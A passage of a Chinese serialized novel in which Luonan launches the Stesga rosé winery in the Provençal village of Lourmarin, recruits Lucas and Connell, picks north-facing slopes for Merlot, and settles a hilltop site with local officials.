这个家伙总是一副‘云淡风轻’的样子,但做出来的事情永远是‘轰动全村’的。 “罗南来运营斯特斯加吗?” 那些对粉红酒持有悲观态度的人面面相觑那样的话似乎也不是‘自掘坟墓’了,因为这个家伙做什么都成功。 也许能成? “罗南要带领我们拔掉老藤种新葡萄品种吗?” 亨利有些不好意思的离开了皮埃尔身前,再厚的脸皮也有些隐隐发红。 罗南先生的决定一定是对的! “罗南才是那个和政府‘穿一条裤子’的人!” 皮埃尔刚刚涌起的怒气又消散了下去。 但也只有他说出来的话才能让全村人毫无保留的信服! 老教堂前。 布兰科站在罗南身后,一脸欣慰的看着身前那个身形挺拔的男人。 卢尔马兰的投入和孤注一掷是正确的。 投资了罗南,就是投资了卢尔马兰的未来! 罗南说讲两句,就真的讲了两句。 很快他就把话筒交给了布兰科,之后默默的返回科莫的餐厅。 说实话,说那些话时他的内心也是忐忑不安的。 因为粉红酒和编织有着很大的不同。 编织做为一个新兴的手工艺出现在卢尔马兰只是和绣被产生过一点点竞争,但村里爱喝粉红酒的人还是少数,更多的还是喝红白葡萄酒、啤酒和茴香酒的村民。 酒庄正式运营前要进行员工培训,也不知道他的‘招工宣言’能不能引来大家的共鸣。 怎料还没离开老教堂的区域,他被一个人拦住了去处。 卢卡斯似乎是专门来找他的: “听说你在招工?” 罗南短暂的错愕了一下: “你要来?” 卢卡斯笑了两声,半真半假的说: “我难道不属于失业的村民吗?” 不等罗南回复,卢卡斯一把捏住罗南的脖子,像是平时对特奥那样: “我陪你回去,有我在,看谁敢说粉红酒一句坏话,谁敢质疑我就‘扭断’谁的头。” 卢尔马兰的雄狮已然于近期复苏。 而他复苏后的第一件事就是帮助兄弟把地盘牢牢占住! 第410章 罗南不愿意做的,我来做 罗南觉得卢卡斯的态度过于‘夸张’。 谁敢当着他的面说粉红酒不好啊? 要说也是藏起来. 但拗不过卢卡斯执意要跟着自己回去。 “过去喝两杯可以,其他的事情你不用管了。”罗南带着卢卡斯返回科莫的餐厅。 粉红酒在普罗旺斯的普及不是一天两天能解决的事情,他不在意村民对粉红酒的态度是什么,只是有些担心能不能招到员工罢了。 卢卡斯摸了根烟出来,叼到嘴上: “我就是过去歇歇脚,在广场上站累了。” 卢卡斯是不是在广场上站累了罗南不清楚,不过他来回的路途上确实见到不少村民在路边或坐着、或站着听广播。 虽然大会还没结束,但这些村民已经听不进去太多东西,三五成群的聚集在一起聊起了他们更加感兴趣的。 这次大会上可以讨论的话题太多了! “商业街上的博物馆居然是粉红酒主题的,怪不得政府藏了这么久不肯告诉我们里面有什么,也从不放人去看。” “我之前还嘲笑梅纳村开了个开瓶器主题博物馆,真是奇葩,粉红酒主题的博物馆也很——” “也很怎样?”他们身后突然出现一道冷峻的声音。 几个正在聊天的村民回头,先是看到一脸严肃的卢卡斯,随后又看到了他身后的罗南,忙改口道: “也很有特色啊,听说那是普罗旺斯的第一所以粉红酒为主题的博物馆!” 罗南来了,不可以再说粉红酒不好了! 卢卡斯看了他们几秒,与罗南并行与他们擦肩而过: “粉红酒博物馆什么时候开业?” 罗南语气平和的说: “四月八号试运营,复活节正式运营。” 粉红酒博物馆和斯特斯加密不可分。 虽然现在斯特斯加在卢尔马兰的厂房还没开始搭建,但‘会员制度’和品牌价值塑造等前期可以先行开展的工作会随着博物馆开业同步运行起来,这也是罗南着急的原因——他马上就需要员工干活了。 卢卡斯点了点头,声音洪亮的说: “开业之后我会邀请我在普罗旺斯所有的朋友过来参观,你帮我在餐厅里留几个位置,我要好好招待他们,再给他们好好介绍一下现在的卢尔马兰。” 罗南笑着摇了摇头。 他的眼前闪现了卢卡斯在‘众目睽睽’之下要给安娜买纯血的卡马尔格马当生日礼物的画面。 什么经济条件了,还请那么多朋友吃饭啊? 但在他们身后,几个村民你看看我,我看看你,没人再敢说什么了。 卢卡斯也对粉红酒感兴趣了? 什么时候的事情啊. 而且卢卡斯是村里最有钱的几个家伙之一,他的朋友也全是有钱人,有钱的家伙们都去参观粉红酒博物馆了.思想有问题的是不是他们自己啊? 卢卡斯虽然自信了不少,也不太孤僻了,可依然不太爱说话。 罗南和他有一搭没一搭的走回科莫的餐厅,一进去他就对科莫招了下手: “再加一杯葡萄酒,谢谢。” 科莫的餐厅座无虚席,卢卡斯索性跟着罗南和他父母坐到了一起,不过听到罗南给自己点的是红葡萄酒,卢卡斯对着科莫喊了一句: “不要红葡萄酒,给我一杯粉红酒。” 在罗南来卢尔马兰之前,卢卡斯帮助了不少村民,他就是‘仗义’的代名词,对朋友的请求从来没有说过一个不字,村民们对他的态度还是相对尊敬的。 科莫夹着烟过来,语气还算不错的给卢卡斯解释: “我这里没有粉红酒,只有莫力的葡萄酒,你如果不想喝葡萄酒,我给你拿一瓶啤酒?” “没有粉红酒?”卢卡斯的眉毛马上竖了起来,“为什么没有?” 科莫抛出了他使用了许久的‘借口’: “因为莫力酿酒合作社和卢尔马兰有合作啊,我和他们合作了几十年,给我的价格最实惠。” 同样的话,科莫今天说了很多次。 一开始,他也担心罗南揪着自己不放,因为去年他们一家三口来开会时,科莫说了不少粉红酒的坏话。 今天得知依然没有粉红酒,罗南一家什么都没说,点了其他,另外几个点粉红酒的人最多抱怨两句就过去了。 但卢卡斯没有被轻易的‘糊弄’过去: “斯特斯加的酒也不贵,你这个借口不成立。” 科莫敷衍的嗯了两声: “我先给你拿个杯子,啤酒怎么样?” 卢卡斯的声音传入了餐厅里每一个顾客的耳朵里: “斯特斯加要落户卢尔马兰,未来粉红酒和我们的生活息息相关,将来外人来了,看到我们自己的酒馆和餐厅都不卖粉红酒,会如何看待我们?围绕粉红酒发展是政府的决定,不是你想或者不想就能改变的。” 见科莫头一句话都不说,卢卡斯叼着烟站起来: “我去搬几箱粉红酒给你卖,今天所有人的酒钱我请了,科莫,你给他大家备好杯子。” “哇卢卡斯,你要请我们喝酒?” “真的假的,每个人都请吗?” 卢卡斯头也不回的潇洒离开: “只要想喝粉红酒了,随时来找我,来几个请几个。” 不到半个小时,卢卡斯在科莫餐厅请人喝粉红酒的消息就传的人尽皆知,听累了广播的村民们都聚集了过来蹭两杯酒喝。 人多了,没有地方坐,大家只能站着。 但站着也要选个好地点,就比如罗南的身边。 “罗南,斯特斯加要招什么工,给多少钱,我能干吗?” “有没有临时工,就像是你给大家找的森林局工作那样,可以做几个月的?我打算农闲的时候去干。” “斯特斯加要建在那里,距离村中心远不远?” 人群外围。 卢卡斯和皮埃尔一边喝酒,一边抽烟。 皮埃尔笑着对老大哥卢卡斯说: “这么多年你的性格一点没变,花钱的事情一点都不眨眼。” 卢卡斯让杂货店给科莫的餐厅送来了整整十箱粉红酒! 这要好三四千法郎呢! 就这么免费请人喝了? 卢卡斯默默喝酒,什么都不说。 皮埃尔叹气道: “知道你想帮罗南,但也有其他的办法啊。” 卢卡斯终于笑了,笑的无比舒畅: “你知道吗,罗南这小子太善良了,也太爱替别人着想了,知道大伙暂时无法接受粉红酒,他绝对不会难为别人,只会难为自己,但有些事不强硬无法推行下去,他不愿意干的那些事,我来替他干。” 皮埃尔哭笑不得的说: “你以为他是特奥啊.这些问题罗南能解决的。” 卢卡斯点了根烟,倔强的说: “他现在要处理的事太多,我又没什么事干,能帮一点是一点。” 皮埃尔摇了摇头,又叹了一口气。 罗南何止帮助过卢卡斯一个人,他也帮过自己啊。 如果不是罗南,皮埃尔现在哪有心情坐在这里喝酒抽烟? 恐怕正在田里哭呢。 “那我也该行动起来了。”皮埃尔坐直身体,慵懒的伸了个懒腰。 “你去干什么?”卢卡斯抬眉看过去。 “我去推行拔除计划,再把栽种葡萄新品种的事落实下去。”皮埃尔坚定的说。 卢卡斯紧张的问皮埃尔: “拔除计划我听懂了,可以给大伙申请更多的补贴,但新葡萄品种你们是怎么考虑的?” 在做松露猎人前,卢卡斯也是种地的。 听完今天全体大会上的内容,他的心情和大部分农夫一样,也觉得‘变化’太多、太快了。 又是灾害,又是拔藤,还要换新葡萄品种这不是折腾人吗? 皮埃尔的态度还算积极: “罗南正在帮我们申请免费的苗木,这部分成本有人承担,之后就是种植的技术难题了。” “免费的苗木?”卢卡斯想到了什么,“你们这个项目也是个‘试验田’项目?” “对对对,是试验田!”皮埃尔微微抬了下下巴,“这个专业名词我总是记不住。” 卢卡斯若有所思的点了点头: “哦,原来那天罗南和那个女的在车上说的是这件事啊。” “哪个女的?”皮埃尔疑惑的问。 大家都在进行试验田项目,卢卡斯觉得没什么不能说的: “一个沃克吕兹省农业部的女官员,罗南的试验田项目都是找她申请的,她帮助我们申请后续的补贴。” 皮埃尔的脑海中马上出现了一个人物: “那个女官员的是不是不爱说话,不苟言笑,还总是板着一张脸?” 卢卡斯的嘴角不自然的抖了两下: “嗯,应该是她。” 是那个农业部非常重要的大人物皮埃尔在心中惊喜的惊呼。 罗南这小子可以啊,和那位厉害的官员混的这么熟了? 此刻喇叭里说话的人变成了克劳德,但皮埃尔已经等不及要出去了。 他把最后一点粉红酒仰头喝了,兴奋的离开了科莫的餐厅: “如果有面有重要的信息,你让人晚上去通知我一趟。” “你去哪儿?”卢卡斯在后面叫住皮埃尔。 皮埃尔对卢卡斯摆了几下手: “找地,罗南给了我一些要求,让我找找卢尔马兰附近有没有符合的农田。” 第411章 斯特斯加在卢尔马兰正式起航! 全体大会结束,找罗南咨询斯特斯加工作的人不少,但实际有进展的人不多。 村里的男人们除了农夫都有各自原本的工作,放弃原先的工作的去看起来前景并不是很清晰的粉红酒庄上班,需要一些决心和勇气。 但农夫们现在还有地要种,至少要等大家把葡萄藤挖出来,看看情况,再考虑好是否要拔藤,又是否要种植新葡萄品种之后才能决定。 还是那句话,今天得到的消息太多、太庞杂,大伙需要一段消化和思考的时间。 不过有一个人,在全体大会结束后的第一时间就来罗南这里报到了,而且旁边还跟着他的母亲。 阿克尼娜亲自把康奈尔送到罗南身边,并赶在儿子‘表决心’前先一步开口道: “康奈尔还年轻,需要历练,您那里的脏活儿累活儿都可以丢给他干,他敢说一个不字,我来教训他。” 康奈尔没有属于自己的土地,也没地主和他签订佃农协议,这是他母亲阿克尼娜迟迟放不下心的地方。 不过她放心让儿子跟着罗南干,无论是去干什么。 罗南拍了拍康奈尔的肩膀: “即使你今天不来找我,我也要找时间主动去找你,你这个人才我惦记好久了。” 在罗南还没有把系统技能升级太高之前,是康奈尔给他科普的关于普罗旺斯所有葡萄的基础知识,而且这个其貌不扬的小胖子还有在酿酒合作社工作的经验。 正是罗南所需要的人才! 康奈尔兴奋的嚷嚷: “我可以送货,还会装罐,我还会.其实我什么都可以干,你让我干什么都可以的罗南!” 今年康奈尔的全部收入全部是罗南给的,松露采摘季结束康奈尔比罗南还伤心——因为他没有机会给罗南送货了。 听到罗南要经营斯特斯加的消息,康奈尔兴奋的差点跳起来。 也许可以给罗南稳定的打工了? 阿芒尼娜在儿子面前永远是一副严厉的模样,她严肃的对康奈尔说: “你是以学习的姿态来的,哪里轮的到你来挑岗位?” 康奈尔低下头,尴尬的吐了下舌头,不敢说话了。 罗南想了一下,对康奈尔说: “厂房还没建起来,暂时没有和酿酒有关的工作安排给你,不过有个其他工作也许你可以胜任。” “什么?”康奈尔期待的问。 “希尔维在粉红酒博物馆里给斯特斯加准备了一个展示区域,现在东西还不齐备,无法展示出太多东西,在我填满那个区域前,需要有一个人在那里给大家口头介绍斯特斯加,希尔维和我商量的是每天四场,每次20分钟在我找到其他更合适的‘讲解员’前,你可以暂时去担任这个职位吗?” 康奈尔未来肯定要跟着罗南一起酿酒去,但在9月之前可以给他安排一个其他的工作。 “没问题!”康奈尔想都没想脱口而出。 阿芒尼娜严厉的教训儿子: “我之前如何教育你的?回答问题之前一定要考虑清楚,你确定可以胜任这个工作吗?不要辜负罗南对你的信任。” “但我真的可以啊罗南餐厅开业之前我们几个出去给他发传单,我永远是最厉害的那个。”康奈尔的声音越说越小,似乎有些心虚,“尤其是对女顾客,我非常会和她们打交道。” “可以,那你就先去做这个工作,待会我带你去找希尔维,让她先带你去博物馆里熟悉一下环境。”罗南笑容满面的说。 康奈尔的加入,预示着斯特斯加终于在卢尔马兰起航了! 全体大会在3月的最后一天举办。 但是到了4月初,农夫们准备让葡萄藤出土之前,卢卡斯还在请大家喝粉红酒,并且四处敲打那些‘不服气’的村民,让他们明白一个道理——卢尔马兰和粉红酒已经密不可分了,这是政府的决定,你可以不喝粉红酒,我完全尊重大家的意愿,但你不该说和粉红酒不好的言论,尤其是在公共场合。 卢卡斯一天两天这样做,罗南觉得他是在还自己将他拉出深渊的‘恩情’,但时间也一长罗南也坐不住了。 某一天,他带着小黑去找卢卡斯,在两只狗谈情说爱之际,他苦口婆心的劝解道: “我知道你想帮我,但别再花钱了。” 根据罗南不完全统计,卢卡斯这几天买粉红酒大概花了有七八千法郎。 你自己是什么情况不知道吗? 卢卡斯背着手,像老父亲一样沉浸观看宝贝女儿和小黑肆意奔跑的样子: “玛格丽特很少这么开心,以后可以常让他们两个一起玩。” “那不是随时的事情,之后你带着玛格丽特去餐厅喝酒,我让爸妈上班时带着小黑一起去开门。”罗南差点被卢卡斯的‘调虎离山’之计引去了其他话题,忙把话题扯回来,“我说真的,不要花钱了。” 卢卡斯的计谋被识破,笑着说: “我没有那么容易破产,我有卢尔马兰和马赛的两套房子,还有10亩森林,不一定咱们俩谁的家底厚呢。” 我只是赔的多了一点而已! “但你也不能这样花啊。”罗南用危言耸听的语气说,“你现在也知道了,我未来要做粉红酒生意,前景是什么样还不知道呢,说不定就成了赔本的买卖,万一我无法支撑人工培育松露一年的运营资金,你就要顶上去,你得存点。” 卢卡斯无赖似的呵呵笑了两声: “但我没有工作啊,你知道的,非松露采摘季,我没有收入可言。” 罗南脱口而出: “那你就去马赛找点事情干,那边赚钱的机会多。” 卢卡斯朋友那么多,怎么可能找不到一点赚钱的门路? 卢卡斯不和罗南开玩笑了,收敛起笑意,认真的说: “在酒庄的生意里,有什么适合我做的事情吗?” 罗南惊恐的后退了一步: “你来真的啊?” 那天他以为卢卡斯在开玩笑! 卢卡斯一脸‘无辜’的说: “不是你在大喇叭里说的吗?失业的村民都可以找你?” 卢卡斯带着玛格丽特去罗南的餐厅吃了一顿饭。 罗南通过一顿饭的时间,给卢卡斯讲述了斯特斯加的经营情况,粉红酒在普罗旺斯的实际市场表现和他未来的打算,例如酿制新品种葡萄除了为了解决土地无法在短时间内栽种其他本地品种,以此造成农夫们的生计问题外,也是为了给斯特斯加开拓新世界市场和进军高端酒领域做准备。 卢卡斯是一个见多识广的人,不是特奥那种只有嘴‘见多识广’,而是真实的接触过许多人,了解许多行业,听完罗南的全部讲述,他分析道: “说真的,也许我真的可以帮上忙,我对马赛附近和地中海沿海的城市很熟悉,我还在阿维尼翁生活过几年,同时我还有许多朋友,我的那些朋友可能没有你的朋友层次高级,但他们来自各行各业。” 罗南斟酌了一下,说道: “这确实是我所欠缺的。” 罗南的高级朋友大部分来自粉红酒爱好者协会,但是杰罗姆的亲身经历给罗南证明——这些大人物们不会主动做什么帮助粉红酒在普罗旺斯发展的动作,也许有但绝对不是大范围的,也不是决定性的。 所以罗南在普罗旺斯的人脉对斯特斯加的市场开拓帮助不大。 如果说有可能对斯特斯加有所帮助的朋友,可能就是阿图瓦和帕斯卡那几个做餐饮的家伙。 但以罗南和他们的交情,最多就是把餐厅里的粉红酒品牌换成斯特斯加,能做到这里就非常不错了。 这样看来,在马赛等城市有一定关系网,还朋友众多的卢卡斯,确实能帮助罗南开拓更大的粉红酒市场。 而且杰罗姆也曾告诉罗南——如果要找市场负责人,最好找对沿海城市熟悉的,在没有打开新销路前,那里是普罗旺斯最大的粉红酒市场。 这些特点卢卡斯也很符合。 上一次AOE法案敲响的警钟提示罗南,斯特斯加绝对无法靠他一人经营下来,他必须找帮手,而且是实力强大的帮手。 没有做过多的考虑,罗南很快答应了下来: “可以,那我们聊一聊报酬吧——” 松露生意是松露生意,粉红酒是粉红酒。 亲兄弟还明算帐呢,罗南必须和卢卡斯说明白,并给他开出一个值得的报酬。 但卢卡斯大大咧咧的挥了下手: “先不用谈那些,等我去摸摸市场情况再谈,我明天就回马赛。” “这么快?”罗南有些惊讶。 他以为卢卡斯短时间不会离开卢尔马兰了。 卢卡斯把手里的烟掐了: “去看看老婆和儿子,想他们了,如果我去马赛的这段日子里,松露人工培育试验田那边来了消息你给我打电话,我回来和你一起去见他们。” “好的,没问题。”罗南痛快答应下来。 两个人又聊了两句,卢卡斯带着玛格丽特离开,走到餐厅门口时,他突然回头大声对罗南喊道: “对了,替我告诉康奈尔,我才是斯特斯加的一号员工,让他去后面排着去!” 卢卡斯声音洪亮,咬字清晰,吃饭的客人们全都听到了。 大家惊恐的互相对看,不敢说一个单词。 上帝啊,卢卡斯去斯特斯加工作了? 真的假的? 看来粉红酒真的是卢尔马兰的未来啊! 村里两个最成功的男人都在那里!! 罗南笑着摸了下额头。 这个卢卡斯啊 不过实话实说,他能体会到特奥的‘同款心情’了。 被人‘罩着’和‘保护’的感觉真的挺不错的,很容易形成崇拜感。 卢卡斯明天就要回马赛。 老父亲罗南用开玩笑的语气逗小黑: “你女朋友明天就走了,你不会夜里和她私奔吧?要不然.我送你?” “没有个正形!”冯珍一边整理票据,一边用眼睛白罗南。 皮埃尔推门进来,蹲到罗南身边小声说道: “快别逗狗了,我找到你要的地了。” 第412章 高端的景色配高端的住宿 卢尔马兰位于吕贝隆山区南麓,地形呈现‘山谷-丘陵-山地’过渡带的典型特征。 核心区域占地约 0.5平方公里,其余的20平方公里有60%是农田,30%是荒地和森林,其余的面积为居住场所与农业设施。 虽然卢尔马兰不是建立在山坡上的鸟巢村,但村庄中心海拔也有 200米,最高点位于北部吕贝隆山脚下,海拔约500米。 在‘山谷-丘陵-山地’的地形特征中,南部平原为冲积河谷,土壤肥沃,保水性较强,橄榄、蔬菜和水果等作物多集中在这里种植。 村庄北侧为大片的朝南山坡,日照充足,遍布梯田,土壤富含钙质,排水性好,但有机质较少,不过这是典型的地中海葡萄园土壤,卢尔马兰的大部分葡萄园都集中于此。 村庄西侧为较陡峭的石灰岩崖壁,多是荒地和森林。 在这三种地形中,村庄北侧的梯田是地价最贵的区域,因为朝南的地形可以使葡萄生长的更加茁壮。 但罗南让皮埃尔找地的第一个需求就是——朝北的山坡。 “这片地荒废几年了?”罗南蹲到地上抓了一把土。 皮埃尔用鞋底踩了几下土: “至少2年,最后一次种的是克莱雷,这种白葡萄喜阴,但这里海拔太高了,超过了300米,会有很大的霜冻风险,没有人想在这种‘提心吊胆’的地方种植,老尼莫一直想把这片地卖了,但又卖不出去。” 普罗旺斯的本土葡萄中,的确有一些葡萄可以栽种在朝北的山坡,例如白葡萄克莱雷,又比如神索和慕合怀特,减少日照时间可以延长成熟期,增强单宁结构,但更多会选择低海拔的区域种植。 而且朝北坡的产量通常比朝南坡低 20%-30%。 皮埃尔哭笑不得的说: “如果不是你提出这么奇怪的要求,我都快把这片地忘了。” 这片被大家嫌弃的空置农田恰恰是罗南所需要的。 梅洛更适合在温和凉爽的气候下种植,地中海的炎热气候对它来说太‘毒辣’了。 朝北的山坡可以有效减少太阳的直晒。 罗南站起来,看了看四周: “这里的海拔有多少米?” 皮埃尔对卢尔马兰的一切农业信息都了如指掌: “400米左右。” “海拔也合适。”罗南小声嘀咕了一句。 高海拔的昼夜温差更大,更加利于梅洛的生长。 不过他很快又失望的叹了一口气,随后把手里的土扬出去: “但卢尔马兰没有我要找的黏土-石灰岩混合土壤。” 这是他给皮埃尔的第二个条件。 黏土-石灰岩混合土壤是波尔多的土壤特性,也是最适合梅洛的。 皮埃尔摇着脑袋说: “没有,山坡上是石灰岩风化土,南部是冲击沙质土,丘陵地段有粘土,但里面含有较高的钙质,没有你说的黏土-石灰岩混合土。” “没办法,那只能改了。”罗南砸了下嘴,“把土壤成分改一下。” “你确定能改?”皮埃尔有些拿不准的问。 卢尔马兰的农夫们最多就是想过如何让土壤更加肥沃,更改土壤性质的事根本是‘闻所未闻’,想都不敢想。 栽种新葡萄的挑战就够大的了。 居然要连土壤一起改? “能改。”罗南肯定的说,“春天改良土壤成分,经过一个雨季把结构稳定住,可以赶在秋季栽种,明年春天可以发芽。” 事实上这只是一种比较简单的土壤改良,4级【种植】已经可以解决了。 卢尔马兰的山坡是石灰岩风化土,只需要在60-80厘米区域深耕入一定比例的粘土,即可以变成罗南想要的黏土-石灰岩混合土壤。 但刚刚结合的两种土壤还不稳定,需要一段时间的自然沉降期,太着急入苗会因为土壤性质不稳定造成葡萄株的死亡。 降雨和灌溉可以促进两种土壤的自然沉降,大概3-6个月后,土壤结构会稳定下来,那个时候正好是秋天。 秋季土壤仍保持夏季余温,利于根系初期生长,去年十月份卢尔马兰的平均地温在18度左右,符合葡萄扎根的需求。 见皮埃尔一脸‘我不信’的样子,罗南搬出了专家: “这是农业部推荐的专家说的,他说改土壤成分没有问题。” 专家这个单词一搬出来,皮埃尔的表情明显信服多了: “要怎么改?麻烦吗?” 这是他的未知领域。 罗南摸着下巴说: “麻烦倒是不麻烦,但是成本要增加了,你知道现在粘土的价格吗?” 皮埃尔点了点头: “30-50法郎/吨。” 罗南在心中快速计算起来。 想要改良成功每公顷需要加入100-150吨粘土,吕贝隆的运输费用比平原地区贵很多,那么每公顷的成本有可能要增加1万法郎. 这可真不是一笔小的费用啊。 “像这样北坡可以直接耕种的农田一共有多少?”罗南回头问皮埃尔。 皮埃尔回忆着说: “大概有个5、6公顷左右的样子,我要回去确认一下。” “只有5、6公顷吗?”罗南的失望之情溢于言表。 这也太少了吧? 朱莉特给的额度是20公顷 “物以稀为贵,800公顷梅洛就可以因为稀少卖出3000法郎的价格,5、6公顷更值钱了,而且现在只是‘实验’阶段,等【种植】升级到6级,说不定其他土壤我也会改良,到时候可以再想其他办法增加种植面积。”罗南在心中如是安慰自己。 “我大概看完了,回去吧。”罗南对皮埃尔招手,示意他可以离开。 回去的路上,罗南站在这片山坡上遥视前方,发现这里虽然是北坡,但风景非常不错,既能看到山谷里的景象,也能看到远处的村落,算是卢尔马兰村里一个非常不错的观景点。 由于卢尔马兰村建立在山谷地区,像这样视野开阔的观景点非常难得,南坡那边地势确实高,但是看的是不同的风景。 幻想了一下未来这附近葡萄藤茂密的样子后,罗南回头,指着更高的地方问皮埃尔: “那上面是什么?这片农田所在山坡的上面。” 皮埃尔回头看了一眼: “荒地呗,卢尔马兰能有什么啊,不是农田就是荒地,没别的了。” 回到村中心,罗南没有直接回家,而是先去了卢尔马兰政府。 这次他没有再遇到那个实习生,迎面碰上了希尔维。 “不给康奈尔培训了?”罗南笑着问她。 粉红酒博物馆马上就要试营业,这几天希尔维在给康奈尔行进专业的培训,不只是介绍斯特斯加,还有粉红酒的历史和卢尔马兰的历史等等。 康奈尔说自己上学的时候都没背过这么多东西。 “康蒂娜在给他培训。”希尔维一刻都没有停留,像一股飓风一样与罗南擦身而过,“不和你聊了啊,最近忙死了。” “诶,那布兰科忙不忙?”罗南在后面叫她。 刚刚开完全体大会,粉红酒博物馆又即将开业,估计每个人都很忙。 如果布兰科在忙,罗南可以换个时间再来。 希尔维的声音从远处飘渺的传来: “再忙也会接待你,你就大胆的去吧。” 和平时不同,今天布兰科的办公室关着门。 本着来都来了的心态,罗南轻轻敲了几下门,里面很快传出了布兰科的‘请进’。 罗南把门推开一道只够一个脑袋进去的小缝,不好意思的问: “在忙吗?” 下一秒,他看到布兰科对面坐着昆西和朱莉特,忙把门拉上: “我下午再来。” 旅游局和农业部的人都在,肯定是聊重要的事情,他就不打扰了。 “罗南!”布兰科叫住了他,“你稍等一下。” 罗南不知道布兰科在里面说了什么,但是不到一分钟的时间,昆西和朱莉特先后从办公室里走了出来。 这两位官员目前都居住在商业街上那所卢尔马兰唯一的旅馆里,昆西已经住了半个多月,朱莉特是昨天来的。 昆西热情的和罗南打了个招呼,朱莉特还是那副老样子,点了下头就算打招呼了,依然不肯和罗南‘相认’。 等两位沃克吕兹省的官员离开后,罗南走了进去,坐到了他们原本坐的位置上: “你可以先接待他们。” 布兰科居然从抽屉里拿出了两个杯子,又神奇的拿出了一瓶粉红酒: “我们正好聊完了,来来来,上次让你尝葡萄,剩下了许多粉红酒,你以后你要常来啊,赶紧把它们消化掉。” 布兰科给自己也倒了一点: “我少喝一点,什么事?” 罗南语气平缓的说: “我找到了一片地,适合种新葡萄的。” “那是好事啊。”布兰科笑着说,“过程中有什么需要政府帮助的地方,尽管提出来。” 罗南寻找起墙上的卢尔马兰地图,他记得布兰科办公室里有这个东西: “我还看上了那周围的一片地,建斯特斯加的地。” 布兰科答应让罗南在适合栽种新葡萄品种的周围区域兴建厂房。 “哪里?”布兰科问。 罗南站到地图前面,指向今天皮埃尔带他去看的那片朝北山坡: “这里,我打算用这一片农田试种梅洛,而斯特斯加建在这个山坡的更高的地方,最好是山顶。” “你要把酒庄建在山上?”布兰科没想到罗南的选择会是这里。 罗南敲着地图,认真的说: “其实酒庄可以建在下面,但‘红酒城堡’适合建在山顶,我认为那里有卢尔马兰最好的视野,高端住宿配高端景色,正合适。” 第413章 居然是她? 布兰科说过,未来卢尔马兰的高端住宿要和斯特斯加建在一起,这样有助于罗南开启围绕粉红酒和葡萄园的高端旅游‘路线’。 度假村建在哪里,斯特斯加就在哪里。 粉红酒是卢尔马兰的头等大事,在听完罗南的解释后,布兰科马上叫来了昆西和其他几个政府官员,和罗南去实地勘测那个区域。 昆西说旅游局的第一笔资金会在一周内到账,如果选址的问题确定了,施工马上就会开始。 但是没想到的是,跟着他们一起去的还有朱莉特。 “这就是你给新葡萄品种选的土地?” 卢尔马兰的政府官员们和昆西站在山顶开起了临时会议,朱莉特和罗南则在山坡区域聊新葡萄品种。 “是的,面积不大,先在这里试试。”罗南点着头说。 朱莉特熟悉政府法案,但不熟悉农业的实操知识: “需要育苗提前和我说。” “大概秋天吧。”罗南又补了一句,“如果顺利的话。” 朱莉特问起了其他: “拔除计划推进的怎么样了?” 罗南摇头: “现在还不确定,要等葡萄藤出土才能知道。” 朱莉特在这件事的态度始终如一,叮嘱罗南: “尽力就好,千万不要弄出什么无法收场的事情。” 罗南笑着说: “哪有那么严重,开全体会的时候你不在,大家的反应还可以,虽然无法马上理解,但也到不了要暴动的程度你就放心吧。” 朱莉特既想要这件事推行下去,又怕罗南惹上麻烦。 他可是会长伊内斯和阿斯特丽德的‘宝贝’! 万一被她们知道,罗南为了帮助自己推行计划,惹到了什么麻烦,朱莉特没办法再在粉红酒协会出现了。 “总之,你记得量力而行。”见布兰科和昆西等人结束讨论,走了过来,朱莉特默默走到了远处,“我最近也会继续给大家做思想工作,时刻关注大家的情绪。” 返程的路上,布兰科放慢了速度,和罗南走在队尾。 他迫不及待的告诉罗南这个好消息! “这么快就定了?”罗南压低声音问。 布兰科用下巴指昆西,用更低的声音说: “旅游局的人说没问题,那我更没有问题了,出钱的是他们。” 罗南有一种上学时和同桌说老师坏话的心虚感,努力只出声音,不动嘴唇: “旅游局对我们很不错啊,钱给的到位,各种决策也都支持,在山坡修建成本高很多,你们没钱了肯定要找他们继续申请.他居然那么痛快的就答应了。” 布兰科低着头说: “其实我也在好奇这件事,我当然知道卢尔马兰的申请书写的非常优秀,这里也绝对值得扶持,但驻派一个官员,预算增加了两——” 他赶紧收了口: “罗南,你跟我说实话,你那个厉害的朋友,是不是在偷偷帮助我们?” 在预算升级时,布兰科就想问罗南这件事。 但是这段时间太忙了,要处理的事情也太多了,即使和罗南见了好几次,也一直没顾上问这些。 “我哪个厉害的朋友?”罗南第一时间没反应过来,眼前出现了好几个人。 抱歉,我的厉害朋友有点多。 布兰科捂着嘴说: “就是那个提点我们申请预算要先弄清旅游局对什么感兴趣的人,也只有她有这个能力让旅游局更加重视卢尔马兰了。” “没有。”罗南斩钉截铁的说,“她没有管这件事。” 最后一次聚会,罗南给阿斯特里德女士讲述完斯特斯加‘旁落’的消息后,她没再说一句话,只是生气的摔摔打打起来,更没有提点自己哪怕一个单词。 “不是她吗?”布兰科小声嘟囔,“那我真的找不到其他可能了。” 又聊了一会,布兰科赶上了前面的大部队,落实斯特斯加建厂的具体细节问题去了,罗南独自一人默默走在最后面。 突然,他停下了脚步,一脸震惊。 “不对,那天阿斯特丽德还说了一句话。” 她问罗南——卢尔马兰的申请什么时候交上去的。 真的是她在背后帮忙了吗? 格拉斯。 某高档私人豪宅内。 穿着香奈儿粗花呢套装的阿斯特斯德面无表情的坐在长桌的一端,全然没有兴趣听耳畔长者们的聊天内容,一心玩着身上的金属纽扣。 偶尔她会用一种似笑非笑的眼神审视一圈那些恭维至极的后辈们。 突然,她扭头看向长桌另一端的某个人。 “卢尔马兰的博物馆要试营业了,那个拒绝被我们收购的博物馆,居然设计成了粉红酒主题,这真是我这两年听到最大的笑话,放弃香水,选择粉红酒.那个政府真是眼光‘独到’啊。” “粉红酒那种垃圾也值得开一所博物馆?我猜他们都没有足够的东西填满整个场地,说不定里面会有些奇奇怪怪的东西。” “奇奇怪怪的东西里,一定有‘传承’了百年的勾兑技艺——” 在其他人继续抨击粉红酒前,一道慵懒的声音打断了他们。 “猜有什么用,去看看就知道了。”阿斯特里德微笑着对那些人说,“我抽时间去看看,看看那里面有什么‘奇怪’的东西,对了,最近沃克吕兹省在和瑞士的高端科技公司聊采买——” 卢尔马兰的农夫们在农业劳作上有着极高的统一性,让葡萄藤出土的日子终于来临。 那些薛定谔的葡萄藤要揭开面纱了。 埋土法费时费力,把葡萄藤挖出来依然很费力气和时间。 这次路易、弗雷迪和阿兰又来罗南家帮忙了,罗天海也培养出来了值得信任的‘接班人’,回来跟着大家一起劳作。 上一次他就没太出的上力气,这次绝对不能缺席。 “老罗,你居然可以离开餐厅了?”事先不知道这个消息的弗雷迪见到罗天海换上一身农夫装无比意外。 